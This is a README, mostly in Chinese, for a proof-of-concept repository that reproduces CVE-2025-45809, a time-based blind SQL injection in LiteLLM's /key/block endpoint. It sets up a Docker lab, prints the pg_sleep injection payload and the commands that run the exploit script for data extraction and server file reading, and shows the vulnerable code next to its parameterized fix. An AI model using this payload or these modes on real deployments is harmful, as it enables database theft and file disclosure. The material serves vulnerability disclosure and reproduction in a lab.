
Code to reproduce the vulnerability individually
/key/block (Time-Based Blind SQLi)LiteLLM v1.65.4(v1.81.0 之前版本)的
/key/block和/key/unblock端点 中的key参数存在 SQL 注入漏洞。攻击者可利用基于时间的盲注技术 窃取数据库内容、读取服务器文件。
| Field | Value |
|---|---|
| CVE | CVE-2025-45809 |
| GHSA | GHSA-cgmh-xxmq-hp46 |
| CVSS v3.1 | 5.4 (MEDIUM) — AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N |
| CWE | CWE-89 (SQL Injection) |
| Affected | LiteLLM < 1.81.0(确认于 v1.65.4) |
| Fixed | v1.81.0+(参数化查询修复) |
| Published | 2025-07-03 |
| Discovered by | shadia0 (via Huntr bounty) |
| Links | NVD • Huntr • Snyk |
LiteLLM 的 /key/block 和 /key/unblock 端点用于管理 API 密钥的封禁/解封。
这两个端点在处理 key 参数时,直接将用户输入拼接到 SQL 查询字符串中(使用 f-string
格式化),没有使用参数化查询,导致 SQL 注入漏洞。
| 端点 | 方法 | 注入参数 |
|---|---|---|
/key/block | POST | key (JSON body) |
/key/unblock | POST | key (JSON body) |
pg_sleep() 函数,通过响应时间差确认注入pg_read_file() 函数读取服务器文件# 1. 启动 PostgreSQL + 脆弱版 LiteLLM
docker compose up -d
# 2. 安装依赖
pip install -r requirements.txt
# 3. 确认 SQL 注入(检测 pg_sleep 延时)
python3 exploit/exploit.py --mode check --target http://localhost:4000
注意:首次运行 exploit 时会自动调用
/key/generate创建 API key, 触发 Prisma 完成Key数据库表的创建。这是/key/block端点 能够进入存在漏洞的 SQL 查询路径的必要前置条件。 若跳过此步骤,/key/block会因Key表未初始化而直接返回 401, 导致注入无法触发。
python3 exploit/exploit.py --mode extract-user --target http://localhost:4000
python3 exploit/exploit.py --mode extract-version --target http://localhost:4000
python3 exploit/exploit.py --mode file-read --target http://localhost:4000
docker compose --profile fixed up -d python3 exploit/exploit.py --mode check --target http://localhost:4001 --fixed
### 预期输出
**注入确认 (--mode check):**
Target : http://localhost:4000 Endpoint : /key/block
[*] Step 1: Measuring baseline response time... Baseline: 0.01s (HTTP 401)
[*] Step 2: Testing basic injection (SQL comment)... Comment test: 0.00s (HTTP 200)
[*] Step 3: Testing pg_sleep(3) injection... pg_sleep(3): 3.01s (N/A)
[*] Step 4: Testing pg_sleep(5) injection... pg_sleep(5): 5.01s (N/A)
[*] Analysis: Baseline time: 0.01s pg_sleep(3): 3.01s (expected ~3s) pg_sleep(5): 5.01s (expected ~5s)
[🔥] VULNERABILITY CONFIRMED! pg_sleep() injection successful! Response increased from 0.01s to 5.01s
**修复版本拒绝注入:**
Target : http://localhost:4001 Endpoint : /key/block
[*] Step 1: Measuring baseline response time... Baseline: 0.00s (HTTP 400)
[*] Step 2: Testing basic injection (SQL comment)... Comment test: 0.00s (HTTP N/A)
[*] Step 3: Testing pg_sleep(3) injection... pg_sleep(3): 0.00s (N/A)
[*] Step 4: Testing pg_sleep(5) injection... pg_sleep(5): 0.00s (N/A)
[*] Analysis: Baseline time: 0.00s pg_sleep(3): 0.00s (expected ~3s) pg_sleep(5): 0.00s (expected ~5s)
[+] Fixed version: No time delay detected (expected).
---
## Technical Details
### 漏洞代码
在 LiteLLM v1.65.4 中,`/key/block` 端点的处理逻辑类似如下(简化版):
```python
# 漏洞代码 (v1.65.4) — 使用 f-string 拼接 SQL
@app.post("/key/block")
async def block_key(key_data: dict, user_api_key_dict=Depends(...)):
key = key_data.get("key", "")
# 直接拼接用户输入到 SQL 查询中!
query = f"UPDATE keys SET blocked=true WHERE key='{key}'"
await database.execute(query)
return {"status": "success"}
攻击者在 key 参数中注入 PostgreSQL 的时间延迟函数:
' OR (SELECT pg_sleep(5)) IS NULL --
拼接后的 SQL 变为:
UPDATE keys SET blocked=true WHERE key='' OR (SELECT pg_sleep(5)) IS NULL --'
| 测试场景 | 响应时间 | 结论 |
|---|---|---|
| 正常请求 (key=test) | ~0.01s | 基线 |
| pg_sleep(3) | ~3.01s | 注入生效 |
| pg_sleep(5) | ~5.01s | 注入确认 |
LiteLLM v1.65.4 使用 Prisma ORM 管理数据库。Key 表采用懒创建策略——
在首次调用 /key/generate 创建 API key 之前,Key 表在 PostgreSQL 中尚不存在。
这导致 /key/block 端点的 key 校验查询(WHERE key='{input}')在执行到存在注入漏洞的
SQL 代码路径之前即因表不存在而返回 401。
当前 PoC 已自动处理此问题:exploit 脚本在发送注入 payload 之前,会先调用
/key/generate 创建一个 API key,确保数据库表就绪。
注意:容器首次启动需等待约 30-60s(Prisma CLI 安装 + 数据库初始化),待日志中出现
Uvicorn running on http://0.0.0.0:4000后再执行 exploit。
CVE-2025-45809/
├── README.md # This file
├── docker-compose.yml # PostgreSQL + vulnerable/fixed LiteLLM
├── litellm_config.yaml # LiteLLM config with DB connection
├── requirements.txt # Python dependencies
├── litellm-vuln/
│ └── Dockerfile # pip install "litellm[proxy]==1.65.4" + prisma + nodejs
├── exploit/
│ ├── exploit.py # Main exploit script
│ └── payload.py # SQL injection payload builder
├── docs/
│ └── advisory.md
└── screenshots/
└── README.md
在 v1.81.0 中修复,改用参数化查询(Prepared Statements)替代 f-string 拼接:
# 修复后 — 使用参数化查询
query = "UPDATE keys SET blocked=true WHERE key=:key"
await database.execute(query, {"key": key}) # 参数安全绑定
key 参数实施严格的输入验证Disclaimer: This content is provided for educational purposes and authorized security testing only.